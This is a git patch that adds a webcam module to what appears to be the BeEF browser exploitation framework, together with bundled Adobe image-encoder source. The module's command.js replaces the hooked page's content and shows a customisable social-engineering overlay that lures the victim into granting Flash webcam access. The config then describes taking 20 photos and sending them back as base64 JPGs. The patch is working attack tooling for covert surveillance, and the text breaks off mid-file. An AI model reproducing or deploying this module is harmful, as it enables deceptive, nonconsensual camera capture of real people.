From dbae1f60dd98ddf51643ac7b993cd126c4ed6d4b Mon Sep 17 00:00:00 2001 From: floyd Date: Wed, 6 Jun 2012 18:47:48 +0100 Subject: [PATCH] Added webcam module --- modules/browser/webcam/command.js | 70 ++ modules/browser/webcam/config.yaml | 25 + .../webcam/dev/com/adobe/images/BitString.as | 39 ++ .../webcam/dev/com/adobe/images/JPGEncoder.as | 648 ++++++++++++++++++ .../webcam/dev/com/adobe/images/PNGEncoder.as | 141 ++++ .../webcam/dev/com/foxarc/util/Base64.as | 106 +++ modules/browser/webcam/dev/takeit.fla | Bin 0 -> 142848 bytes modules/browser/webcam/module.rb | 63 ++ modules/browser/webcam/swfobject.js | 4 + modules/browser/webcam/takeit.swf | Bin 0 -> 14840 bytes 10 files changed, 1096 insertions(+) create mode 100644 modules/browser/webcam/command.js create mode 100644 modules/browser/webcam/config.yaml create mode 100755 modules/browser/webcam/dev/com/adobe/images/BitString.as create mode 100755 modules/browser/webcam/dev/com/adobe/images/JPGEncoder.as create mode 100755 modules/browser/webcam/dev/com/adobe/images/PNGEncoder.as create mode 100644 modules/browser/webcam/dev/com/foxarc/util/Base64.as create mode 100644 modules/browser/webcam/dev/takeit.fla create mode 100644 modules/browser/webcam/module.rb create mode 100755 modules/browser/webcam/swfobject.js create mode 100644 modules/browser/webcam/takeit.swf diff --git a/modules/browser/webcam/command.js b/modules/browser/webcam/command.js new file mode 100644 index 000000000..9ed0f73a5 --- /dev/null +++ b/modules/browser/webcam/command.js @@ -0,0 +1,70 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// + + +beef.execute(function() { + + /* + If you ever experience that the "Allow button" of the flash warning is not clickable, it can have several reasons: + - Some CSS/Flash bug: http://stackoverflow.com/questions/3003724/cant-click-allow-button-in-flash-on-firefox + - There is a bug in flash: http://forums.adobe.com/thread/880967 + - You overlayed (a single pixel is enough) the warning message with something (e.g. a div). Try to not include the + body_social_engineer_and_overlay below and try again. + */ + + + //The social engineering message and the overlay div's + var body_social_engineer_and_overlay = '

<%= @social_engineering_title %>

<%= @social_engineering_text %>

'; + + + //These 4 function names [noCamera(), noCamera(), pressedDisallow(), pictureCallback(picture), allPicturesTaken()] are hard coded in the swf actionscript3. Flash will invoke these functions directly. The picture for the pictureCallback function will be a base64 encoded JPG string + var js_functions = ''; + + + //Either do the overlay (body_social_engineer_and_overlay) or do something like in the next line (showing a message if adobe flash is not installed) + //We'll notice when flash is not installed anyway... + //var body_flash_container = '

You need FlashPlayer 9 or higher!

Get Adobe Flash player

'; + var body_flash_container = '
'; + + + //The style is the only thing we already append to the head + var theHead = document.getElementsByTagName("head")[0]; + var style = document.createElement('style'); + style.type = 'text/css'; + style.innerHTML = 'body { background: #eee; } .thingy { z-index:50; background-color:#eee; border:1px solid #eee; }'; + theHead.appendChild(style); + + //A nice library that helps us to include the swf file + var swfobject_script = '' + + //This is the javascript that actually calls the swfobject library to include the swf file + var include_script = ''; + + //Empty body first + $j('body').html(''); + //Now show our flash stuff, muahahaha + $j('body').append(js_functions, swfobject_script, body_flash_container, body_social_engineer_and_overlay, include_script); + +}); + + + + + diff --git a/modules/browser/webcam/config.yaml b/modules/browser/webcam/config.yaml new file mode 100644 index 000000000..98cf7bba3 --- /dev/null +++ b/modules/browser/webcam/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + webcam: + enable: true + category: "Browser" + name: "Webcam" + description: "This module will show the Adobe Flash allow webcam dialog to the user. The user has to click the allow button, otherwise this module will not return pictures. The title/text to convince the user can be customised. You can customise how many pictures you want to take and in which interval (default will take 20 pictures, 1 picture per second). The picture is sent as a base64 encoded JPG string." + authors: ["floyd @floyd_ch"] + target: + working: ["All"] diff --git a/modules/browser/webcam/dev/com/adobe/images/BitString.as b/modules/browser/webcam/dev/com/adobe/images/BitString.as new file mode 100755 index 000000000..b5c2b8410 --- /dev/null +++ b/modules/browser/webcam/dev/com/adobe/images/BitString.as @@ -0,0 +1,39 @@ +/* + Copyright (c) 2008, Adobe Systems Incorporated + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + * Neither the name of Adobe Systems Incorporated nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ +package com.adobe.images +{ + public class BitString + { + public var len:int = 0; + public var val:int = 0; + } +} \ No newline at end of file diff --git a/modules/browser/webcam/dev/com/adobe/images/JPGEncoder.as b/modules/browser/webcam/dev/com/adobe/images/JPGEncoder.as new file mode 100755 index 000000000..100d7e968 --- /dev/null +++ b/modules/browser/webcam/dev/com/adobe/images/JPGEncoder.as @@ -0,0 +1,648 @@ +/* + Copyright (c) 2008, Adobe Systems Incorporated + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + * Neither the name of Adobe Systems Incorporated nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ +package com.adobe.images +{ + import flash.geom.*; + import flash.display.*; + import flash.utils.*; + + /** + * Class that converts BitmapData into a valid JPEG + */ + public class JPGEncoder + { + + // Static table initialization + + private var ZigZag:Array = [ + 0, 1, 5, 6,14,15,27,28, + 2, 4, 7,13,16,26,29,42, + 3, 8,12,17,25,30,41,43, + 9,11,18,24,31,40,44,53, + 10,19,23,32,39,45,52,54, + 20,22,33,38,46,51,55,60, + 21,34,37,47,50,56,59,61, + 35,36,48,49,57,58,62,63 + ]; + + private var YTable:Array = new Array(64); + private var UVTable:Array = new Array(64); + private var fdtbl_Y:Array = new Array(64); + private var fdtbl_UV:Array = new Array(64); + + private function initQuantTables(sf:int):void + { + var i:int; + var t:Number; + var YQT:Array = [ + 16, 11, 10, 16, 24, 40, 51, 61, + 12, 12, 14, 19, 26, 58, 60, 55, + 14, 13, 16, 24, 40, 57, 69, 56, + 14, 17, 22, 29, 51, 87, 80, 62, + 18, 22, 37, 56, 68,109,103, 77, + 24, 35, 55, 64, 81,104,113, 92, + 49, 64, 78, 87,103,121,120,101, + 72, 92, 95, 98,112,100,103, 99 + ]; + for (i = 0; i < 64; i++) { + t = Math.floor((YQT[i]*sf+50)/100); + if (t < 1) { + t = 1; + } else if (t > 255) { + t = 255; + } + YTable[ZigZag[i]] = t; + } + var UVQT:Array = [ + 17, 18, 24, 47, 99, 99, 99, 99, + 18, 21, 26, 66, 99, 99, 99, 99, + 24, 26, 56, 99, 99, 99, 99, 99, + 47, 66, 99, 99, 99, 99, 99, 99, + 99, 99, 99, 99, 99, 99, 99, 99, + 99, 99, 99, 99, 99, 99, 99, 99, + 99, 99, 99, 99, 99, 99, 99, 99, + 99, 99, 99, 99, 99, 99, 99, 99 + ]; + for (i = 0; i < 64; i++) { + t = Math.floor((UVQT[i]*sf+50)/100); + if (t < 1) { + t = 1; + } else if (t > 255) { + t = 255; + } + UVTable[ZigZag[i]] = t; + } + var aasf:Array = [ + 1.0, 1.387039845, 1.306562965, 1.175875602, + 1.0, 0.785694958, 0.541196100, 0.275899379 + ]; + i = 0; + for (var row:int = 0; row < 8; row++) + { + for (var col:int = 0; col < 8; col++) + { + fdtbl_Y[i] = (1.0 / (YTable [ZigZag[i]] * aasf[row] * aasf[col] * 8.0)); + fdtbl_UV[i] = (1.0 / (UVTable[ZigZag[i]] * aasf[row] * aasf[col] * 8.0)); + i++; + } + } + } + + private var YDC_HT:Array; + private var UVDC_HT:Array; + private var YAC_HT:Array; + private var UVAC_HT:Array; + + private function computeHuffmanTbl(nrcodes:Array, std_table:Array):Array + { + var codevalue:int = 0; + var pos_in_table:int = 0; + var HT:Array = new Array(); + for (var k:int=1; k<=16; k++) { + for (var j:int=1; j<=nrcodes[k]; j++) { + HT[std_table[pos_in_table]] = new BitString(); + HT[std_table[pos_in_table]].val = codevalue; + HT[std_table[pos_in_table]].len = k; + pos_in_table++; + codevalue++; + } + codevalue*=2; + } + return HT; + } + + private var std_dc_luminance_nrcodes:Array = [0,0,1,5,1,1,1,1,1,1,0,0,0,0,0,0,0]; + private var std_dc_luminance_values:Array = [0,1,2,3,4,5,6,7,8,9,10,11]; + private var std_ac_luminance_nrcodes:Array = [0,0,2,1,3,3,2,4,3,5,5,4,4,0,0,1,0x7d]; + private var std_ac_luminance_values:Array = [ + 0x01,0x02,0x03,0x00,0x04,0x11,0x05,0x12, + 0x21,0x31,0x41,0x06,0x13,0x51,0x61,0x07, + 0x22,0x71,0x14,0x32,0x81,0x91,0xa1,0x08, + 0x23,0x42,0xb1,0xc1,0x15,0x52,0xd1,0xf0, + 0x24,0x33,0x62,0x72,0x82,0x09,0x0a,0x16, + 0x17,0x18,0x19,0x1a,0x25,0x26,0x27,0x28, + 0x29,0x2a,0x34,0x35,0x36,0x37,0x38,0x39, + 0x3a,0x43,0x44,0x45,0x46,0x47,0x48,0x49, + 0x4a,0x53,0x54,0x55,0x56,0x57,0x58,0x59, + 0x5a,0x63,0x64,0x65,0x66,0x67,0x68,0x69, + 0x6a,0x73,0x74,0x75,0x76,0x77,0x78,0x79, + 0x7a,0x83,0x84,0x85,0x86,0x87,0x88,0x89, + 0x8a,0x92,0x93,0x94,0x95,0x96,0x97,0x98, + 0x99,0x9a,0xa2,0xa3,0xa4,0xa5,0xa6,0xa7, + 0xa8,0xa9,0xaa,0xb2,0xb3,0xb4,0xb5,0xb6, + 0xb7,0xb8,0xb9,0xba,0xc2,0xc3,0xc4,0xc5, + 0xc6,0xc7,0xc8,0xc9,0xca,0xd2,0xd3,0xd4, + 0xd5,0xd6,0xd7,0xd8,0xd9,0xda,0xe1,0xe2, + 0xe3,0xe4,0xe5,0xe6,0xe7,0xe8,0xe9,0xea, + 0xf1,0xf2,0xf3,0xf4,0xf5,0xf6,0xf7,0xf8, + 0xf9,0xfa + ]; + + private var std_dc_chrominance_nrcodes:Array = [0,0,3,1,1,1,1,1,1,1,1,1,0,0,0,0,0]; + private var std_dc_chrominance_values:Array = [0,1,2,3,4,5,6,7,8,9,10,11]; + private var std_ac_chrominance_nrcodes:Array = [0,0,2,1,2,4,4,3,4,7,5,4,4,0,1,2,0x77]; + private var std_ac_chrominance_values:Array = [ + 0x00,0x01,0x02,0x03,0x11,0x04,0x05,0x21, + 0x31,0x06,0x12,0x41,0x51,0x07,0x61,0x71, + 0x13,0x22,0x32,0x81,0x08,0x14,0x42,0x91, + 0xa1,0xb1,0xc1,0x09,0x23,0x33,0x52,0xf0, + 0x15,0x62,0x72,0xd1,0x0a,0x16,0x24,0x34, + 0xe1,0x25,0xf1,0x17,0x18,0x19,0x1a,0x26, + 0x27,0x28,0x29,0x2a,0x35,0x36,0x37,0x38, + 0x39,0x3a,0x43,0x44,0x45,0x46,0x47,0x48, + 0x49,0x4a,0x53,0x54,0x55,0x56,0x57,0x58, + 0x59,0x5a,0x63,0x64,0x65,0x66,0x67,0x68, + 0x69,0x6a,0x73,0x74,0x75,0x76,0x77,0x78, + 0x79,0x7a,0x82,0x83,0x84,0x85,0x86,0x87, + 0x88,0x89,0x8a,0x92,0x93,0x94,0x95,0x96, + 0x97,0x98,0x99,0x9a,0xa2,0xa3,0xa4,0xa5, + 0xa6,0xa7,0xa8,0xa9,0xaa,0xb2,0xb3,0xb4, + 0xb5,0xb6,0xb7,0xb8,0xb9,0xba,0xc2,0xc3, + 0xc4,0xc5,0xc6,0xc7,0xc8,0xc9,0xca,0xd2, + 0xd3,0xd4,0xd5,0xd6,0xd7,0xd8,0xd9,0xda, + 0xe2,0xe3,0xe4,0xe5,0xe6,0xe7,0xe8,0xe9, + 0xea,0xf2,0xf3,0xf4,0xf5,0xf6,0xf7,0xf8, + 0xf9,0xfa + ]; + + private function initHuffmanTbl():void + { + YDC_HT = computeHuffmanTbl(std_dc_luminance_nrcodes,std_dc_luminance_values); + UVDC_HT = computeHuffmanTbl(std_dc_chrominance_nrcodes,std_dc_chrominance_values); + YAC_HT = computeHuffmanTbl(std_ac_luminance_nrcodes,std_ac_luminance_values); + UVAC_HT = computeHuffmanTbl(std_ac_chrominance_nrcodes,std_ac_chrominance_values); + } + + private var bitcode:Array = new Array(65535); + private var category:Array = new Array(65535); + + private function initCategoryNumber():void + { + var nrlower:int = 1; + var nrupper:int = 2; + var nr:int; + for (var cat:int=1; cat<=15; cat++) { + //Positive numbers + for (nr=nrlower; nr= 0 ) { + if (value & uint(1 << posval) ) { + bytenew |= uint(1 << bytepos); + } + posval--; + bytepos--; + if (bytepos < 0) { + if (bytenew == 0xFF) { + writeByte(0xFF); + writeByte(0); + } + else { + writeByte(bytenew); + } + bytepos=7; + bytenew=0; + } + } + } + + private function writeByte(value:int):void + { + byteout.writeByte(value); + } + + private function writeWord(value:int):void + { + writeByte((value>>8)&0xFF); + writeByte((value )&0xFF); + } + + // DCT & quantization core + + private function fDCTQuant(data:Array, fdtbl:Array):Array + { + var tmp0:Number, tmp1:Number, tmp2:Number, tmp3:Number, tmp4:Number, tmp5:Number, tmp6:Number, tmp7:Number; + var tmp10:Number, tmp11:Number, tmp12:Number, tmp13:Number; + var z1:Number, z2:Number, z3:Number, z4:Number, z5:Number, z11:Number, z13:Number; + var i:int; + /* Pass 1: process rows. */ + var dataOff:int=0; + for (i=0; i<8; i++) { + tmp0 = data[dataOff+0] + data[dataOff+7]; + tmp7 = data[dataOff+0] - data[dataOff+7]; + tmp1 = data[dataOff+1] + data[dataOff+6]; + tmp6 = data[dataOff+1] - data[dataOff+6]; + tmp2 = data[dataOff+2] + data[dataOff+5]; + tmp5 = data[dataOff+2] - data[dataOff+5]; + tmp3 = data[dataOff+3] + data[dataOff+4]; + tmp4 = data[dataOff+3] - data[dataOff+4]; + + /* Even part */ + tmp10 = tmp0 + tmp3; /* phase 2 */ + tmp13 = tmp0 - tmp3; + tmp11 = tmp1 + tmp2; + tmp12 = tmp1 - tmp2; + + data[dataOff+0] = tmp10 + tmp11; /* phase 3 */ + data[dataOff+4] = tmp10 - tmp11; + + z1 = (tmp12 + tmp13) * 0.707106781; /* c4 */ + data[dataOff+2] = tmp13 + z1; /* phase 5 */ + data[dataOff+6] = tmp13 - z1; + + /* Odd part */ + tmp10 = tmp4 + tmp5; /* phase 2 */ + tmp11 = tmp5 + tmp6; + tmp12 = tmp6 + tmp7; + + /* The rotator is modified from fig 4-8 to avoid extra negations. */ + z5 = (tmp10 - tmp12) * 0.382683433; /* c6 */ + z2 = 0.541196100 * tmp10 + z5; /* c2-c6 */ + z4 = 1.306562965 * tmp12 + z5; /* c2+c6 */ + z3 = tmp11 * 0.707106781; /* c4 */ + + z11 = tmp7 + z3; /* phase 5 */ + z13 = tmp7 - z3; + + data[dataOff+5] = z13 + z2; /* phase 6 */ + data[dataOff+3] = z13 - z2; + data[dataOff+1] = z11 + z4; + data[dataOff+7] = z11 - z4; + + dataOff += 8; /* advance pointer to next row */ + } + + /* Pass 2: process columns. */ + dataOff = 0; + for (i=0; i<8; i++) { + tmp0 = data[dataOff+ 0] + data[dataOff+56]; + tmp7 = data[dataOff+ 0] - data[dataOff+56]; + tmp1 = data[dataOff+ 8] + data[dataOff+48]; + tmp6 = data[dataOff+ 8] - data[dataOff+48]; + tmp2 = data[dataOff+16] + data[dataOff+40]; + tmp5 = data[dataOff+16] - data[dataOff+40]; + tmp3 = data[dataOff+24] + data[dataOff+32]; + tmp4 = data[dataOff+24] - data[dataOff+32]; + + /* Even part */ + tmp10 = tmp0 + tmp3; /* phase 2 */ + tmp13 = tmp0 - tmp3; + tmp11 = tmp1 + tmp2; + tmp12 = tmp1 - tmp2; + + data[dataOff+ 0] = tmp10 + tmp11; /* phase 3 */ + data[dataOff+32] = tmp10 - tmp11; + + z1 = (tmp12 + tmp13) * 0.707106781; /* c4 */ + data[dataOff+16] = tmp13 + z1; /* phase 5 */ + data[dataOff+48] = tmp13 - z1; + + /* Odd part */ + tmp10 = tmp4 + tmp5; /* phase 2 */ + tmp11 = tmp5 + tmp6; + tmp12 = tmp6 + tmp7; + + /* The rotator is modified from fig 4-8 to avoid extra negations. */ + z5 = (tmp10 - tmp12) * 0.382683433; /* c6 */ + z2 = 0.541196100 * tmp10 + z5; /* c2-c6 */ + z4 = 1.306562965 * tmp12 + z5; /* c2+c6 */ + z3 = tmp11 * 0.707106781; /* c4 */ + + z11 = tmp7 + z3; /* phase 5 */ + z13 = tmp7 - z3; + + data[dataOff+40] = z13 + z2; /* phase 6 */ + data[dataOff+24] = z13 - z2; + data[dataOff+ 8] = z11 + z4; + data[dataOff+56] = z11 - z4; + + dataOff++; /* advance pointer to next column */ + } + + // Quantize/descale the coefficients + for (i=0; i<64; i++) { + // Apply the quantization and scaling factor & Round to nearest integer + data[i] = Math.round((data[i]*fdtbl[i])); + } + return data; + } + + // Chunk writing + + private function writeAPP0():void + { + writeWord(0xFFE0); // marker + writeWord(16); // length + writeByte(0x4A); // J + writeByte(0x46); // F + writeByte(0x49); // I + writeByte(0x46); // F + writeByte(0); // = "JFIF",'\0' + writeByte(1); // versionhi + writeByte(1); // versionlo + writeByte(0); // xyunits + writeWord(1); // xdensity + writeWord(1); // ydensity + writeByte(0); // thumbnwidth + writeByte(0); // thumbnheight + } + + private function writeSOF0(width:int, height:int):void + { + writeWord(0xFFC0); // marker + writeWord(17); // length, truecolor YUV JPG + writeByte(8); // precision + writeWord(height); + writeWord(width); + writeByte(3); // nrofcomponents + writeByte(1); // IdY + writeByte(0x11); // HVY + writeByte(0); // QTY + writeByte(2); // IdU + writeByte(0x11); // HVU + writeByte(1); // QTU + writeByte(3); // IdV + writeByte(0x11); // HVV + writeByte(1); // QTV + } + + private function writeDQT():void + { + writeWord(0xFFDB); // marker + writeWord(132); // length + writeByte(0); + var i:int; + for (i=0; i<64; i++) { + writeByte(YTable[i]); + } + writeByte(1); + for (i=0; i<64; i++) { + writeByte(UVTable[i]); + } + } + + private function writeDHT():void + { + writeWord(0xFFC4); // marker + writeWord(0x01A2); // length + var i:int; + + writeByte(0); // HTYDCinfo + for (i=0; i<16; i++) { + writeByte(std_dc_luminance_nrcodes[i+1]); + } + for (i=0; i<=11; i++) { + writeByte(std_dc_luminance_values[i]); + } + + writeByte(0x10); // HTYACinfo + for (i=0; i<16; i++) { + writeByte(std_ac_luminance_nrcodes[i+1]); + } + for (i=0; i<=161; i++) { + writeByte(std_ac_luminance_values[i]); + } + + writeByte(1); // HTUDCinfo + for (i=0; i<16; i++) { + writeByte(std_dc_chrominance_nrcodes[i+1]); + } + for (i=0; i<=11; i++) { + writeByte(std_dc_chrominance_values[i]); + } + + writeByte(0x11); // HTUACinfo + for (i=0; i<16; i++) { + writeByte(std_ac_chrominance_nrcodes[i+1]); + } + for (i=0; i<=161; i++) { + writeByte(std_ac_chrominance_values[i]); + } + } + + private function writeSOS():void + { + writeWord(0xFFDA); // marker + writeWord(12); // length + writeByte(3); // nrofcomponents + writeByte(1); // IdY + writeByte(0); // HTY + writeByte(2); // IdU + writeByte(0x11); // HTU + writeByte(3); // IdV + writeByte(0x11); // HTV + writeByte(0); // Ss + writeByte(0x3f); // Se + writeByte(0); // Bf + } + + // Core processing + private var DU:Array = new Array(64); + + private function processDU(CDU:Array, fdtbl:Array, DC:Number, HTDC:Array, HTAC:Array):Number + { + var EOB:BitString = HTAC[0x00]; + var M16zeroes:BitString = HTAC[0xF0]; + var i:int; + + var DU_DCT:Array = fDCTQuant(CDU, fdtbl); + //ZigZag reorder + for (i=0;i<64;i++) { + DU[ZigZag[i]]=DU_DCT[i]; + } + var Diff:int = DU[0] - DC; DC = DU[0]; + //Encode DC + if (Diff==0) { + writeBits(HTDC[0]); // Diff might be 0 + } else { + writeBits(HTDC[category[32767+Diff]]); + writeBits(bitcode[32767+Diff]); + } + //Encode ACs + var end0pos:int = 63; + for (; (end0pos>0)&&(DU[end0pos]==0); end0pos--) { + }; + //end0pos = first element in reverse order !=0 + if ( end0pos == 0) { + writeBits(EOB); + return DC; + } + i = 1; + while ( i <= end0pos ) { + var startpos:int = i; + for (; (DU[i]==0) && (i<=end0pos); i++) { + } + var nrzeroes:int = i-startpos; + if ( nrzeroes >= 16 ) { + for (var nrmarker:int=1; nrmarker <= nrzeroes/16; nrmarker++) { + writeBits(M16zeroes); + } + nrzeroes = int(nrzeroes&0xF); + } + writeBits(HTAC[nrzeroes*16+category[32767+DU[i]]]); + writeBits(bitcode[32767+DU[i]]); + i++; + } + if ( end0pos != 63 ) { + writeBits(EOB); + } + return DC; + } + + private var YDU:Array = new Array(64); + private var UDU:Array = new Array(64); + private var VDU:Array = new Array(64); + + private function RGB2YUV(img:BitmapData, xpos:int, ypos:int):void + { + var pos:int=0; + for (var y:int=0; y<8; y++) { + for (var x:int=0; x<8; x++) { + var P:uint = img.getPixel32(xpos+x,ypos+y); + var R:Number = Number((P>>16)&0xFF); + var G:Number = Number((P>> 8)&0xFF); + var B:Number = Number((P )&0xFF); + YDU[pos]=((( 0.29900)*R+( 0.58700)*G+( 0.11400)*B))-128; + UDU[pos]=(((-0.16874)*R+(-0.33126)*G+( 0.50000)*B)); + VDU[pos]=((( 0.50000)*R+(-0.41869)*G+(-0.08131)*B)); + pos++; + } + } + } + + /** + * Constructor for JPEGEncoder class + * + * @param quality The quality level between 1 and 100 that detrmines the + * level of compression used in the generated JPEG + * @langversion ActionScript 3.0 + * @playerversion Flash 9.0 + * @tiptext + */ + public function JPGEncoder(quality:Number = 50) + { + if (quality <= 0) { + quality = 1; + } + if (quality > 100) { + quality = 100; + } + var sf:int = 0; + if (quality < 50) { + sf = int(5000 / quality); + } else { + sf = int(200 - quality*2); + } + // Create tables + initHuffmanTbl(); + initCategoryNumber(); + initQuantTables(sf); + } + + /** + * Created a JPEG image from the specified BitmapData + * + * @param image The BitmapData that will be converted into the JPEG format. + * @return a ByteArray representing the JPEG encoded image data. + * @langversion ActionScript 3.0 + * @playerversion Flash 9.0 + * @tiptext + */ + public function encode(image:BitmapData):ByteArray + { + // Initialize bit writer + byteout = new ByteArray(); + bytenew=0; + bytepos=7; + + // Add JPEG headers + writeWord(0xFFD8); // SOI + writeAPP0(); + writeDQT(); + writeSOF0(image.width,image.height); + writeDHT(); + writeSOS(); + + + // Encode 8x8 macroblocks + var DCY:Number=0; + var DCU:Number=0; + var DCV:Number=0; + bytenew=0; + bytepos=7; + for (var ypos:int=0; ypos= 0 ) { + var fillbits:BitString = new BitString(); + fillbits.len = bytepos+1; + fillbits.val = (1<<(bytepos+1))-1; + writeBits(fillbits); + } + + writeWord(0xFFD9); //EOI + return byteout; + } + } +} diff --git a/modules/browser/webcam/dev/com/adobe/images/PNGEncoder.as b/modules/browser/webcam/dev/com/adobe/images/PNGEncoder.as new file mode 100755 index 000000000..83c95f629 --- /dev/null +++ b/modules/browser/webcam/dev/com/adobe/images/PNGEncoder.as @@ -0,0 +1,141 @@ +/* + Copyright (c) 2008, Adobe Systems Incorporated + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + * Neither the name of Adobe Systems Incorporated nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ +package com.adobe.images +{ + import flash.geom.*; + import flash.display.Bitmap; + import flash.display.BitmapData; + import flash.utils.ByteArray; + + /** + * Class that converts BitmapData into a valid PNG + */ + public class PNGEncoder + { + /** + * Created a PNG image from the specified BitmapData + * + * @param image The BitmapData that will be converted into the PNG format. + * @return a ByteArray representing the PNG encoded image data. + * @langversion ActionScript 3.0 + * @playerversion Flash 9.0 + * @tiptext + */ + public static function encode(img:BitmapData):ByteArray { + // Create output byte array + var png:ByteArray = new ByteArray(); + // Write PNG signature + png.writeUnsignedInt(0x89504e47); + png.writeUnsignedInt(0x0D0A1A0A); + // Build IHDR chunk + var IHDR:ByteArray = new ByteArray(); + IHDR.writeInt(img.width); + IHDR.writeInt(img.height); + IHDR.writeUnsignedInt(0x08060000); // 32bit RGBA + IHDR.writeByte(0); + writeChunk(png,0x49484452,IHDR); + // Build IDAT chunk + var IDAT:ByteArray= new ByteArray(); + for(var i:int=0;i < img.height;i++) { + // no filter + IDAT.writeByte(0); + var p:uint; + var j:int; + if ( !img.transparent ) { + for(j=0;j < img.width;j++) { + p = img.getPixel(j,i); + IDAT.writeUnsignedInt( + uint(((p&0xFFFFFF) << 8)|0xFF)); + } + } else { + for(j=0;j < img.width;j++) { + p = img.getPixel32(j,i); + IDAT.writeUnsignedInt( + uint(((p&0xFFFFFF) << 8)| + (p>>>24))); + } + } + } + IDAT.compress(); + writeChunk(png,0x49444154,IDAT); + // Build IEND chunk + writeChunk(png,0x49454E44,null); + // return PNG + return png; + } + + private static var crcTable:Array; + private static var crcTableComputed:Boolean = false; + + private static function writeChunk(png:ByteArray, + type:uint, data:ByteArray):void { + if (!crcTableComputed) { + crcTableComputed = true; + crcTable = []; + var c:uint; + for (var n:uint = 0; n < 256; n++) { + c = n; + for (var k:uint = 0; k < 8; k++) { + if (c & 1) { + c = uint(uint(0xedb88320) ^ + uint(c >>> 1)); + } else { + c = uint(c >>> 1); + } + } + crcTable[n] = c; + } + } + var len:uint = 0; + if (data != null) { + len = data.length; + } + png.writeUnsignedInt(len); + var p:uint = png.position; + png.writeUnsignedInt(type); + if ( data != null ) { + png.writeBytes(data); + } + var e:uint = png.position; + png.position = 